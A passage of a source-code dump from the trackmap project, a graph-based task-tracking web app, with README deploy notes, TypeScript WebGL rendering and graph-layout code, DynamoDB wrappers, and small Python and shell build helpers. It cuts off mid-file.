Configuration options are documented by `./cmd.sh watch -h` and [Server Options](#server-options).\n* `deploy` - build the client and server, package everything into production docker image,\n and deploy the image to a remote GCP instance.\n * Deployment configurations for each domain must be placed in `.cred/gcp-<domain>.json` files.\n Each file must contain a JSON object with the following key-value pairs:\n * `\"image\": <string>` - name of the deployment docker image (the domain name will be appended as a tag)\n * `\"zone\": <string>` - GCP zone the deployment project resides in\n * `\"project\": <string>` - name of the deployment GCP project\n * `\"inst\": <string>` - name of the GCP instance to deploy to\n * `\"impersonate-service-account\": <string>` - GCP service account to authenticate as on the instance\n * `\"email\": <string>\"` - e-mail to register for letsencrypt certificate renewal service on the instance\n * *This command assumes production configuration by default*.\n Configuration options are documented by `./cmd.sh deploy -h` and [Server Options](#server-options).\n\n### Server Options\n@@include[server-help.txt](doc/autogen/server-help.txt)\n\nSee [the server entry point](server/src/Main.purs) for default values.\n" }, { "alpha_fraction": 0.5070921778678894, "alphanum_fraction": 0.5070921778678894, "avg_line_length": 15.588234901428223, "blob_id": "a747131e970c8f4bca28bce867508a4cc7cd4813", "content_id": "455040ee2a7a56d9b6cab3a053f9aa22dccbeb72", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 564, "license_type": "permissive", "max_line_length": 29, "num_lines": 34, "path": "/client/src/view/theme.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "export type Theme = {\n node: {\n border: {\n cornerRadius: number,\n width: number,\n margin: number,\n fillColor: {\n hover: string,\n default: string,\n progress: string,\n progressHover: string\n }\n },\n fillColor: {\n completed: string,\n inProgress: string,\n edge: string,\n },\n },\n edge: {\n fillColor: {\n default: string,\n hover: string,\n newEdge: string\n }\n },\n text: {\n color: {\n default: string,\n hover: string\n }\n }\n backgroundColor: string,\n}\n" }, { "alpha_fraction": 0.5826128721237183, "alphanum_fraction": 0.5965417623519897, "avg_line_length": 29.173913955688477, "blob_id": "375dc41381924479a423b1ac79dc8195d25dbd3d", "content_id": "24a94e34699ea38bbbda276ef22c363b56b9a6ff", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 2082, "license_type": "permissive", "max_line_length": 83, "num_lines": 69, "path": "/client/src/view/gpu/gfx/particles.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as glut from '../glUtil.js'\nimport * as ViewApi from '../../api.js'\nimport * as constants from '../common/constants.js'\nimport * as vert from '../../../../output-glsl/view/gpu/gfx/particles.vert.glsl.js'\nimport * as frag from '../../../../output-glsl/view/gpu/gfx/particles.frag.glsl.js'\n\nconst MAX_PARTICLES = 1000\n\nexport type Api = {\n done: () => boolean,\n explode: ( initPos: { x: number, y: number }, count: number ) => void,\n render: ( p: ViewApi.RenderParams ) => void,\n}\n\nexport const init = ( gl: glut.GL ): Api => {\n\n const program = glut.linkProgram( gl, [\n glut.compileShader( gl, gl.VERTEX_SHADER, vert.shader.source ),\n glut.compileShader( gl, gl.FRAGMENT_SHADER, frag.shader.source ),\n ] )\n program.uniform( 'image', constants.TEX_BINDINGS.OREO )\n\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.OREO, () => {\n gl.bindTexture( gl.TEXTURE_2D, glut.loadTexture( gl, 'assets/oreo.png' ) )\n } )\n\n const geometry = glut.createGeometry( gl, program.id, {\n mode: gl.POINTS,\n } )\n geometry.allocVertices( MAX_PARTICLES )\n geometry.copyToGpu()\n\n let time = 0.0\n\n return {\n\n done: () => ( Date.now() - time ) > 5000,\n\n explode: ( initPos, count ) => {\n\n geometry.allocVertices( count )\n time = Date.now()\n for ( let i = 0; i < count; ++i ) {\n\n const speed = 10.0 + Math.random() * 30.0\n const ang = Math.random() * Math.PI * 2\n const dx = Math.cos( ang )\n const dy = Math.sin( ang )\n\n geometry.setAttr( 'initPos', i, initPos.x, initPos.y )\n geometry.setAttr( 'initVel', i, dx * speed, dy * speed )\n geometry.setAttr( 'initTime', i, 0 )\n geometry.setAttr( 'size', i, 5.0 + Math.random() * 5 )\n }\n\n geometry.copyToGpu()\n },\n\n render: ( p ) => {\n\n program.uniform( 'camProj', false, p.projMat )\n program.uniform( 'camView', false, p.viewMat )\n program.uniform( 'camZoom', ViewApi.zoomScale( p.zoom ) )\n program.uniform( 'currTime', ( Date.now() - time ) / 1000.0 )\n\n glut.draw( gl, program, geometry )\n }\n }\n}\n" }, { "alpha_fraction": 0.6361221671104431, "alphanum_fraction": 0.6387782096862793, "avg_line_length": 29.1200008392334, "blob_id": "dfe9e5f0c77ce9b5597a584ae852fa3aa799dd92", "content_id": "19ac57fa49f7ad4b97e8cd69c212a7a32efd2f68", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 753, "license_type": "permissive", "max_line_length": 76, "num_lines": 25, "path": "/client/src/view/editorUtil.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import { Descendant, Node } from \"slate\"\n\nexport const stringToSlate = ( contents: string ): Descendant[] => [\n {\n type: 'paragraph',\n children: [ { text: contents } ],\n },\n]\n\nexport const isEmpty = ( contents: string ): boolean => {\n if ( contents.length === 0 ) return true\n const json: Descendant[] = normalize( contents )\n const textOnly = json.map( n => Node.string( n ) ).join( \"\" )\n return textOnly.length === 0\n}\n\nexport const normalize = ( contents: string ): Descendant[] => {\n try {\n return JSON.parse( contents )\n } catch ( e ) {\n // If the contents are not valid JSON, wrap them in a paragraph element.\n // This will work for empty strings and in case something goes wrong.\n return stringToSlate( contents )\n }\n}\n" }, { "alpha_fraction": 0.6497035622596741, "alphanum_fraction": 0.6551383137702942, "avg_line_length": 40.306121826171875, "blob_id": "02a330a644ca406b7d12cc244a145d6e783c178f", "content_id": "f10c58c22be6300e0f69ec5367af3ef3f853a5e8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2024, "license_type": "permissive", "max_line_length": 97, "num_lines": 49, "path": "/cmd/watch.py", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import sys, traceback\nimport subprocess as sp\nfrom . import util\n\ncmd_name = 'watch'\ndef cmd_args(parser):\n parser.description = \"\"\"Build the client and server, start a dockerized local testing server,\n and watch for file changes to automatically rebuild and restart components as needed.\"\"\"\n parser.add_argument('-aws', action='store_true', help=\"connect to AWS DynamoDB\")\n parser.add_argument('-release', action='store_true', help=\"enable SSL and disable debug flags\")\n parser.epilog = \"Unknown arguments are passed to the server.\"\n\ndef run(args, xargs):\n # Monitored docker compose services.\n services = ['common', 'client', 'server']\n\n # Unless user specifies \"-aws\" flag, setup local DynamoDB service.\n if not args.aws:\n services.append('db-local')\n util.set_def(xargs, '--primary-endpoint', 'http://db-local:8000')\n util.set_def(xargs, '--migrate-endpoint', 'http://db-local:8000')\n\n # Unless user specifies \"-release\" flag, setup development flags and disable SSL.\n if not args.release:\n util.set_def(xargs, '--ssl', 'false')\n util.set_def(xargs, '--dev', 'true')\n\n # Create asynchronous docker-compose service to build and watch individual components.\n env = util.make_env(SERVER_ARGS=' '.join(xargs))\n p = sp.Popen(['docker-compose', '-f', 'cmd/watch-compose.yml',\n 'up', '--force-recreate', *services], env=env)\n try:\n # Start interactive prompt.\n for line in sys.stdin:\n try:\n kargs = line.rstrip().split(' ')\n tgt = kargs[0]\n # If command has multiple arguments then run them in the directory of the first argument.\n if len(kargs) > 1:\n sp.run(kargs[1:], cwd=tgt, check=True)\n else:\n # Otherwise restart or run service named by the first argument.\n sp.run(['docker-compose', '-f', 'cmd/watch-compose.yml',\n 'restart' if tgt in services else 'run', tgt], env=env, check=True)\n except Exception:\n traceback.print_exc()\n finally:\n p.terminate()\n p.wait()\n" }, { "alpha_fraction": 0.6612021923065186, "alphanum_fraction": 0.6612021923065186, "avg_line_length": 44.75, "blob_id": "56e08fc9dfd7bece3dd3f54128a64814ac026a60", "content_id": "3342c5cbe37bb17d8106fb175bf4ed9ce0f6f1d5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 183, "license_type": "permissive", "max_line_length": 62, "num_lines": 4, "path": "/client/build-version.sh", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "#!/bin/sh\necho \"window.version_tag = \\\"`git describe --tags`\\\"\"\necho \"window.version_branch = \\\"`git branch --show-current`\\\"\"\necho \"window.version_commit = \\\"`git rev-parse HEAD`\\\"\"\n" }, { "alpha_fraction": 0.5521338582038879, "alphanum_fraction": 0.5548011660575867, "avg_line_length": 29.548147201538086, "blob_id": "afdd160e3e0822fa8f20c4705f23ec68abd27c3d", "content_id": "a83d26438d65fa51486678f0fea9bd71bc4d22e3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 4124, "license_type": "permissive", "max_line_length": 112, "num_lines": 135, "path": "/client/src/control/actions.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as E from '../../output/Data.Either'\nimport * as G from '../../output/Yato.Common.Graph'\nimport * as Op from '../../output/Yato.Common.Op'\nimport * as Msg from '../../output/Yato.Common.Message'\nimport * as Rem from '../../output/Yato.Client.Remote'\nimport * as T from '../../output/Yato.Common.Time'\nimport * as I from '../../output/Data.Int53'\n\nexport type OnClientOp = ( op: Msg.ClientMsg ) => void\n\nexport type Api = {\n sync: ( sync: Rem.SyncTs ) => void,\n undo: () => void,\n redo: () => void,\n addChild: ( nodeId: G.NodeId ) => G.NodeId,\n removeNode: ( nodeId: G.NodeId ) => void,\n addEdge: ( fromId: G.NodeId, toId: G.NodeId ) => void,\n removeEdge: ( fromId: G.NodeId, toId: G.NodeId ) => void,\n changeParent: ( childId: G.NodeId, parentId: G.NodeId ) => void,\n setAttr: ( nodeId: G.NodeId, k: string, v: string ) => void,\n}\n\ntype PrevOp = {keyTime: T.Timestamp, keys: Op.Key[]}\n\nexport const init = ( gref: {graph: G.Graph}, onClientOp: OnClientOp ): Api => {\n\n let nextId = I.toInt(G.minNodeId(gref.graph)) - 1\n const genNodeId = (): G.NodeId => {\n const x = nextId\n nextId -= 1\n return I.fromInt(x)\n }\n\n let undoStack: PrevOp[] = []\n let redoStack: PrevOp[] = []\n\n const set = ( elems: Op.Elem[] ): void => {\n\n const top = {time: Math.max( Date.now(), G.present( gref.graph ) + 1 ), value: Op.SetValues.create( elems )}\n const res = Op.apply( top )( gref.graph )\n if ( res instanceof E.Left ) {\n console.warn( 'set failed', res.value0 )\n }\n if ( res instanceof E.Right ) {\n gref.graph = res.value0\n undoStack.push( {keyTime: top.time, keys: elems.map(Op.key)} )\n redoStack.length = 0\n onClientOp( Msg.ClientOp.create( top ) )\n }\n }\n const setValid = ( valid: boolean, {keyTime, keys}: PrevOp ) => {\n const obj = {valid, keyTime, keys}\n const top = {time: Math.max( Date.now(), G.present( gref.graph ) + 1 ), value: Op.SetValids.create(obj)}\n const res = Op.apply( top )( gref.graph )\n if ( res instanceof E.Left ) {\n console.warn( (valid ? 'redo' : 'undo') + ' failed', res.value0 )\n }\n if ( res instanceof E.Right ) {\n gref.graph = res.value0\n onClientOp( Msg.ClientOp.create( top ) )\n }\n }\n\n return {\n sync: ( sync ) => {\n undoStack = undoStack.map( ({keyTime, keys}) => {\n return {\n keyTime: sync.timeMap(keyTime),\n keys: keys.map( G.mapElemNodeIds(sync.nodeMap) )\n }\n } )\n redoStack = redoStack.map( ({keyTime, keys}) => {\n return {\n keyTime: sync.timeMap(keyTime),\n keys: keys.map( G.mapElemNodeIds(sync.nodeMap) )\n }\n } )\n },\n\n undo: () => {\n const last = undoStack.pop()\n if ( last ) {\n redoStack.push( last )\n setValid( false, last )\n }\n },\n\n redo: () => {\n const last = redoStack.pop()\n if ( last ) {\n undoStack.push( last )\n setValid( true, last )\n }\n },\n\n addChild: ( nodeId ) => {\n const newId = genNodeId()\n set([ G.Edge.create({src: nodeId, tgt: newId, val: true}) ])\n return newId\n },\n\n removeNode: ( nodeId ) => {\n const t = G.present(gref.graph)\n const parents = G.parents(t)(nodeId)(gref.graph)\n set( parents.map( ( parentId ) => (\n G.Edge.create({src: parentId, tgt: nodeId, val: false})\n ) ) )\n },\n\n addEdge: ( fromId, toId ) => {\n set([ G.Edge.create({src: fromId, tgt: toId, val: true}) ])\n },\n\n removeEdge: ( fromId, toId ) => {\n set([ G.Edge.create({src: fromId, tgt: toId, val: false}) ])\n },\n\n changeParent: ( childId, parentId ) => {\n const t = G.present(gref.graph)\n const parents = G.parents(t)(childId)(gref.graph)\n const items: Op.Elem[] = []\n for ( const old of parents ) {\n if ( old != parentId ) {\n items.push(G.Edge.create({src: old, tgt: childId, val: false}))\n }\n }\n items.push(G.Edge.create({src: parentId, tgt: childId, val: true}))\n set( items )\n },\n\n setAttr: ( nodeId, k, v ) => {\n set([ G.Attr.create({id: nodeId, name: k, val: v}) ])\n },\n }\n}\n" }, { "alpha_fraction": 0.6231707334518433, "alphanum_fraction": 0.6231707334518433, "avg_line_length": 24.625, "blob_id": "45713431fcbbc02c4c12e51da8dbf79704128002", "content_id": "6202d814084481bdfdcfd87e222536456fb76654", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 820, "license_type": "permissive", "max_line_length": 70, "num_lines": 32, "path": "/server/src/Util/Dynamo.js", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "\"use strict\"\nvar AWS = require('aws-sdk')\n\nexports.init = (params) => () => {\n var service = new AWS.DynamoDB(params)\n return {service, client: new AWS.DynamoDB.DocumentClient({service})}\n}\n\nexports.getEndpoint = (db) => () => {\n return db.service.endpoint.href\n}\n\nexports._createTable = (db) => (params) => () => {\n return db.service.createTable(params).promise()\n}\n\nexports._describeTable = (db) => (params) => () => {\n return db.service.describeTable(params).promise()\n}\n\nexports._query = (db) => (query) => () => {\n return db.client.query(query).promise()\n}\n\nexports._scan = (db) => (query) => () => {\n return db.client.scan(query).promise()\n}\n\nexports._batchWrite = (db) => (tableName) => (items) => () => {\n var query = {RequestItems: {[tableName]: items}}\n return db.client.batchWrite(query).promise()\n}\n" }, { "alpha_fraction": 0.5425069332122803, "alphanum_fraction": 0.5480702519416809, "avg_line_length": 31.86571502685547, "blob_id": "8091df7f20d790474f03482110b2f6c016615594", "content_id": "d182186396b9b298eb1996ae0122d6ca7b25ccfa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 11504, "license_type": "permissive", "max_line_length": 106, "num_lines": 350, "path": "/client/src/view/graphView.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as textUtil from './textUtil.js'\nimport * as T from '../../output/Yato.Common.Time'\nimport * as G from '../../output/Yato.Common.Graph'\nimport * as Rem from '../../output/Yato.Client.Remote'\nimport * as I from '../../output/Data.Int53'\nimport * as ViewApi from './api.js'\nimport * as View from './constants.js'\nimport { SimParams } from '../options.js'\nimport * as editorUtil from './editorUtil.js'\n\nexport type NodeIdx = number & { __: 'NodeIdx' }\nexport type EdgeIdx = number & { __: 'EdgeIdx' }\nexport type EdgeIds = { fromId: G.NodeId, toId: G.NodeId }\n\nexport type vec2 = { x: number, y: number }\n\nexport type NodeSize = vec2 & { pow: number }\n\nexport type Node = {\n parentIdx: NodeIdx,\n kids: Node[], // TODO: Move out of Node.\n flags: number,\n mass: number,\n charge: number,\n subTreeMass: number,\n size: NodeSize,\n pos: vec2,\n edges: Map<G.NodeId, EdgeIdx>,\n id: G.NodeId,\n label: string,\n completed: boolean,\n progress: number,\n}\n\nexport type Edge = {\n fromIdx: NodeIdx,\n toIdx: NodeIdx,\n lengthScale: number,\n stiffnessScale: number,\n}\n\nexport type Bounds = { min: vec2, max: vec2 }\n\nexport type Api = {\n nodeIdToIdx: ( id: G.NodeId | undefined ) => NodeIdx,\n nodeIdxToId: ( idx: NodeIdx ) => G.NodeId | undefined,\n edgeIdsToIdx: ( edge: EdgeIds | undefined ) => EdgeIdx,\n edgeIdxToIds: ( idx: EdgeIdx ) => EdgeIds | undefined,\n nodes: Node[],\n edges: Edge[],\n setOrphan: ( orphanedId: G.NodeId ) => void,\n update: ( graph: G.Graph, time: T.Timestamp, fontMetrics: textUtil.FontMetricsSized,\n mode: ViewApi.Mode, loading: boolean ) => Bounds,\n saveLayout: ( sync?: Rem.SyncTs ) => void,\n}\n\nconst NODE_FLAGS_FIXED = 1 << 0\n\nexport const init = ( sessionId: G.GraphId ): Api => {\n\n // Load layout map from node ID to position from browser local storage.\n const layoutKey = 'layout.' + sessionId\n const layoutString = window.localStorage.getItem( layoutKey )\n let layout = layoutString ? JSON.parse( layoutString ) : {}\n\n // Initialize empty view state.\n const nodeIdToIdx = new Map<G.NodeId, NodeIdx>()\n const graphNodes: Node[] = []\n const unorderedNodes: Map<G.NodeId, Node> = new Map()\n const nodes: Node[] = []\n const edges: Edge[] = []\n\n const setOrphan = ( orphanedId: G.NodeId ) => {\n for ( const node of nodes ) {\n node.flags |= NODE_FLAGS_FIXED\n }\n const visited = new Set()\n function dfs( i: NodeIdx | undefined ) {\n\n if ( i === undefined ) return\n const node = nodes[ i ]\n\n if ( visited.has( i ) ) return\n visited.add( i )\n\n node.flags &= ~NODE_FLAGS_FIXED\n\n node.edges.forEach( ( edgeIdx ) => {\n const edge = edges[ edgeIdx ]\n dfs( edge.toIdx )\n } )\n }\n dfs( nodeIdToIdx.get( orphanedId ) )\n }\n\n return {\n nodeIdToIdx: ( id ) => {\n if ( id === undefined ) return <NodeIdx>-1\n const idx = nodeIdToIdx.get( id )\n return idx !== undefined ? idx : <NodeIdx>-1\n },\n nodeIdxToId: ( idx ) => idx >= 0 ? nodes[ idx ].id : undefined,\n\n edgeIdsToIdx: ( edge ) => {\n if ( edge === undefined ) return <EdgeIdx>-1\n const fromIdx = nodeIdToIdx.get( edge.fromId )\n if ( fromIdx === undefined ) return <EdgeIdx>-1\n const node = nodes[ fromIdx ]\n const idx = node.edges.get( edge.toId )\n if ( idx === undefined ) return <EdgeIdx>-1\n return idx\n },\n\n edgeIdxToIds: ( idx ) => {\n return edges[ idx ] !== undefined ? {\n fromId: nodes[ edges[ idx ].fromIdx ].id,\n toId: nodes[ edges[ idx ].toIdx ].id\n } : undefined\n },\n\n nodes: nodes,\n edges: edges,\n\n setOrphan: setOrphan,\n\n update: ( graph, time, fontMetrics, mode, loading ) => {\n\n // Clear view state.\n nodeIdToIdx.clear()\n graphNodes.length = 0\n unorderedNodes.clear()\n nodes.length = 0\n edges.length = 0\n\n // Add each graph node.\n const smallestBound = 10\n const boundsMin = { x: -smallestBound, y: -smallestBound }\n const boundsMax = { x: +smallestBound, y: +smallestBound }\n\n const subgraphStats: Map< G.NodeId, { mass: number, count: number, completed: number } > = new Map()\n const subCountSet = new Set<number>()\n\n const calcMass = ( nodeId: G.NodeId ) => {\n const numChildren = G.children( time )( nodeId )( graph ).length\n return numChildren * 0.25 + 1.0\n }\n\n // Accumulate subgraph size.\n G.dfsPost( time )( G.rootId )( graph )( {} )( ( fromId: G.NodeId ) => (_: any): any => {\n const data = {\n mass: calcMass( fromId ),\n count: 1,\n completed: G.getCompleted( time )( fromId )( graph ) ? 1 : 0\n }\n for ( const toId of G.children( time )( fromId )( graph ) ) {\n const childData = subgraphStats.get( toId )\n if ( !childData ) throw new Error()\n data.mass += childData.mass\n data.count += childData.count\n data.completed += childData.completed\n }\n subgraphStats.set( fromId, data )\n subCountSet.add( data.count )\n } )\n\n // Calculate node size bins.\n const subCounts = [...subCountSet].sort( (a, b) => a - b )\n const subCountSizes: Map<number, number> = new Map()\n const numSizeBins = 10\n const countsPerBin = Math.max( 1, Math.floor( subCounts.length / numSizeBins ) )\n for ( let i = 0; i < subCounts.length; ++i ) {\n const bin = 1 + Math.floor( i / countsPerBin )\n subCountSizes.set( subCounts[i], bin )\n }\n\n const getLabel = ( nodeId: G.NodeId ): string => {\n // Truncate label to maximum view length.\n const title = loading ? \"Loading...\" : G.getTitle( time )( nodeId )( graph )\n const label = ( title.length > View.MAX_CHARS_PER_LABEL ) ?\n title.slice( 0, View.MAX_CHARS_PER_LABEL - 3 ) + '...' : title\n const haveInfo = !editorUtil.isEmpty( G.getInfo( time )( nodeId )( graph ) )\n return haveInfo ? label + \"*\" : label\n }\n\n const calcSize = ( nodeId: G.NodeId ) => {\n const stats = subgraphStats.get( nodeId )\n if ( stats === undefined ) throw new Error()\n const sizePow = subCountSizes.get( stats.count )\n if ( sizePow === undefined ) throw new Error()\n const height = Math.pow( 1.125, sizePow )\n const metrics = textUtil.stringMetrics( fontMetrics, getLabel( nodeId ) )\n const width = height * ( metrics.width / metrics.height )\n const margin = View.NODE_MARGIN * Math.pow( height, 0.5 )\n return { x: width + margin, y: height + margin, pow: sizePow }\n }\n\n const cachedPos = ( nodeId: G.NodeId ) => {\n const orphan = mode.id == 'dragNode' && mode.nodeId == nodeId &&\n mode.reparent && mode.reparent.commit\n // Calculate position.\n return ( () => {\n if ( nodeId == G.rootId ) {\n // Root node is fixed at origin.\n return { x: 0, y: 0 }\n }\n if ( layout[ I.toInt( nodeId ) ] && !orphan ) {\n // Use saved layout position if it exists.\n return layout[ I.toInt(nodeId) ].pos\n }\n return { x: 0, y: 0 }\n } )()\n }\n\n const initNode = ( nodeId: G.NodeId ): Node => {\n const mass = calcMass(nodeId)\n return {\n kids: [],\n parentIdx: <NodeIdx>-1,\n flags: 0,\n subTreeMass: 0,\n edges: new Map(),\n pos: cachedPos( nodeId ),\n mass: mass,\n charge: mass,\n size: calcSize( nodeId ),\n id: nodeId,\n label: getLabel( nodeId ),\n completed: G.getCompleted( time )( nodeId )( graph ),\n progress: 0,\n }\n }\n\n const initEdge = ( from: NodeIdx, to: NodeIdx ): Edge => {\n const fromNode = nodes[ from ]\n const toNode = nodes[ to ]\n if ( fromNode === undefined || toNode === undefined ) throw new Error()\n\n return {\n fromIdx: from,\n toIdx: to,\n lengthScale: 1,\n stiffnessScale: 1,\n }\n }\n\n const getOrAdd = ( id: G.NodeId ): Node => {\n if ( unorderedNodes.has( id ) === false ) {\n const node = initNode( id )\n // Track global bounds.\n boundsMin.x = Math.min( boundsMin.x, node.pos.x - node.size.x * 0.5 )\n boundsMin.y = Math.min( boundsMin.y, node.pos.y - node.size.y * 0.5 )\n boundsMax.x = Math.max( boundsMax.x, node.pos.x + node.size.x * 0.5 )\n boundsMax.y = Math.max( boundsMax.y, node.pos.y + node.size.y * 0.5 )\n unorderedNodes.set( id, node )\n }\n const node = unorderedNodes.get( id )\n if ( node === undefined ) throw new Error()\n return node\n }\n\n const bfs = <R, A>( rootRec: R, getKids: ( rec: R ) => R[], fNode: ( rec: R ) => A,\n fEdge: ( parent: A, child: R ) => void ) => {\n\n const q: R[] = [ rootRec ]\n const visited = new Set()\n visited.add( rootRec )\n while ( q.length ) {\n const p = q.shift()\n if ( p === undefined ) throw new Error()\n const a = fNode( p )\n getKids(p).forEach(c => {\n fEdge( a, c )\n if (visited.has(c) === false) {\n visited.add( c )\n q.push(c)\n }\n } )\n }\n }\n\n const orderNodes = () => {\n // Copy nodes in BFS order.\n const root = getOrAdd( G.rootId )\n if ( root === undefined ) throw new Error()\n\n const onNode = ( node: Node ) => {\n const data = subgraphStats.get( node.id )\n if ( data === undefined ) throw new Error()\n node.progress = data.completed / data.count\n if ( node.completed ) node.progress *= -1\n\n nodes.push( node )\n const parentIdx = lastIdx( nodes )\n nodeIdToIdx.set( node.id, parentIdx )\n return parentIdx\n }\n const onChild = ( parentIdx: NodeIdx, child: Node ) => {\n if ( child.parentIdx === -1 ) {\n child.parentIdx = parentIdx\n }\n }\n\n const getKids = ( rec: Node ) => G.children( time )( rec.id )( graph ).map( getOrAdd )\n bfs( root, getKids, onNode, onChild )\n }\n\n const makeEdges = () => {\n const revMap: Map<G.NodeId, NodeIdx> = new Map()\n nodes.forEach( ( node, i ) => revMap.set( node.id, <NodeIdx>i ) )\n\n const getKids = ( idx: NodeIdx ) => {\n const node = nodes[ idx ]\n if ( node === undefined ) throw new Error()\n\n return G.children( time )( node.id )( graph ).map( id => <NodeIdx>revMap.get( id ) )\n }\n\n bfs( <NodeIdx>0, getKids, p => p, ( p, c ) => {\n edges.push( initEdge( p, c ) )\n nodes[ p ].edges.set( ( <Node>nodes[ c ] ).id, <EdgeIdx>( edges.length - 1 ) )\n } )\n }\n\n orderNodes()\n makeEdges()\n\n // console.log( unorderedNodes )\n // console.log( nodes )\n // console.log( edges )\n\n // Update orphan state.\n if ( mode.id == 'dragNode' && mode.reparent ) {\n setOrphan( mode.nodeId )\n }\n\n return { min: boundsMin, max: boundsMax }\n },\n\n saveLayout: ( sync ) => {\n for ( const node of nodes ) {\n const nid = sync === undefined ? node.id : sync.nodeMap(node.id)\n layout[ I.toInt(nid) ] = { pos: node.pos }\n }\n window.localStorage.setItem( layoutKey, JSON.stringify( layout ) )\n },\n }\n}\nfunction lastIdx(nodes: Node[]): NodeIdx {\n return <NodeIdx>(nodes.length - 1)\n}\n\n" }, { "alpha_fraction": 0.6234989166259766, "alphanum_fraction": 0.6315045952796936, "avg_line_length": 34.391666412353516, "blob_id": "20ec54c83245de151df7366c04e99f2aefdfbe8d", "content_id": "4a9b81a4042bdee5035b4f03f92598bb56a6842e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 4247, "license_type": "permissive", "max_line_length": 93, "num_lines": 120, "path": "/client/src/view/gpu/gfx/labels.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as glut from '../glUtil.js'\nimport * as GView from '../../graphView.js'\nimport * as ViewApi from '../../api.js'\nimport * as Text from '../../textUtil.js'\nimport * as constants from '../common/constants.js'\nimport * as vert from '../../../../output-glsl/view/gpu/gfx/labels.vert.glsl.js'\nimport * as frag from '../../../../output-glsl/view/gpu/gfx/labels.frag.glsl.js'\n\nconst FONT_ATLAS_SIZE = 2048\nconst FONT_ATLAS_COUNT = 1\n\nconst VERTICES_PER_GLYPH = 4\nconst INDICES_PER_GLYPH = 6\n\nexport type Api = {\n update: ( gview: GView.Api, font: Text.FontMetrics, zoom: ViewApi.Power ) => void,\n rescale: ( gview: GView.Api, font: Text.FontMetrics, zoom: ViewApi.Power ) => void,\n render: ( p: ViewApi.RenderParams, orhpanedPass: boolean ) => void,\n}\n\nexport const init = ( gl: glut.GL ): Api => {\n\n const program = glut.linkProgram( gl, [\n glut.compileShader( gl, gl.VERTEX_SHADER, vert.shader.source ),\n glut.compileShader( gl, gl.FRAGMENT_SHADER, frag.shader.source ),\n ] )\n program.uniform( 'nodePosVel', constants.TEX_BINDINGS.NODE_POS_VEL )\n program.uniform( 'nodeState', constants.TEX_BINDINGS.NODE_STATE )\n program.uniform( 'nodeAttr', constants.TEX_BINDINGS.NODE_ATTR )\n program.uniform( 'nodeAttr2', constants.TEX_BINDINGS.NODE_ATTR2 )\n program.uniform( 'fontAtlas', constants.TEX_BINDINGS.FONT_ATLAS )\n\n const atlases: string[] = []\n for ( let i = 0; i < FONT_ATLAS_COUNT; ++i ) {\n atlases.push( 'assets/fonts/DejaVuSerif-atlas0' + i + '.png' )\n }\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.FONT_ATLAS, () => {\n const tex = glut.loadTextureArray( gl, atlases, FONT_ATLAS_SIZE, FONT_ATLAS_SIZE,\n gl.R8, gl.RED, gl.UNSIGNED_BYTE )\n gl.bindTexture( gl.TEXTURE_2D_ARRAY, tex )\n } )\n\n const geometry = glut.createGeometry( gl, program.id, {\n mode: gl.TRIANGLE_STRIP,\n numVertices: 4,\n instanceDivisors: { glyphTrans: 1, glyphCoord: 1, nodeIndex: 1 },\n } )\n\n const rescale = ( graphView: GView.Api, fonts: Text.FontMetrics, zoom: ViewApi.Power ) => {\n\n let glyphIdx = 0\n graphView.nodes.forEach( ( node, nodeIndex ) => {\n let fontMetrics = fonts[ fonts.minSize ]\n let disable = true\n\n const fontSize = Text.fontSizeForZoom( fonts, node.size, zoom )\n if ( fontSize ) {\n fontMetrics = fonts[ fontSize ]\n disable = false\n }\n\n const metrics = Text.stringMetrics( fontMetrics, node.label )\n const center = {\n x: Math.round( metrics.width / 2 ),\n y: Math.round( 2 * fontMetrics.ymin / 3 + metrics.height / 2 ),\n }\n\n metrics.glyphs.forEach( ( glyph, i ) => {\n\n geometry.setAttr( 'glyphTrans', glyphIdx,\n glyph.xpos + glyph.info.off[0] - center.x, glyph.info.off[1] - center.y,\n glyph.info.dim[0], glyph.info.dim[1] )\n\n geometry.setAttr( 'glyphCoord', glyphIdx,\n glyph.info.uvw[0], glyph.info.uvw[1], glyph.info.uvw[2] )\n\n geometry.setAttr( 'nodeIndex', glyphIdx, disable ? -1 : nodeIndex )\n\n glyphIdx += 1\n } )\n } )\n\n geometry.copyToGpu()\n }\n\n return {\n update: ( graphView, font, zoom ) => {\n\n // Compute total number of glyphs.\n let numGlyphs = 0\n graphView.nodes.forEach( ( node ) => {\n numGlyphs += node.label.length - (node.label.split(' ').length - 1)\n } )\n\n geometry.allocInstances( numGlyphs )\n\n rescale( graphView, font, zoom )\n },\n\n rescale: rescale,\n\n render: ( p: ViewApi.RenderParams, orphanedPass: boolean ) => {\n\n program.uniform( 'canvasBase', p.canvasBase.x, p.canvasBase.y )\n program.uniform( 'camProj', false, p.projMat )\n program.uniform( 'camView', false, p.viewMat )\n program.uniform( 'orphanedIdx', p.orphanedIdx )\n program.uniform( 'orphanedPass', orphanedPass )\n program.uniform( 'hoverIdx', p.hoverNodeIdx )\n program.uniform( 'textColor', ...glut.hexToRGB( p.theme.text.color.default ) )\n program.uniform( 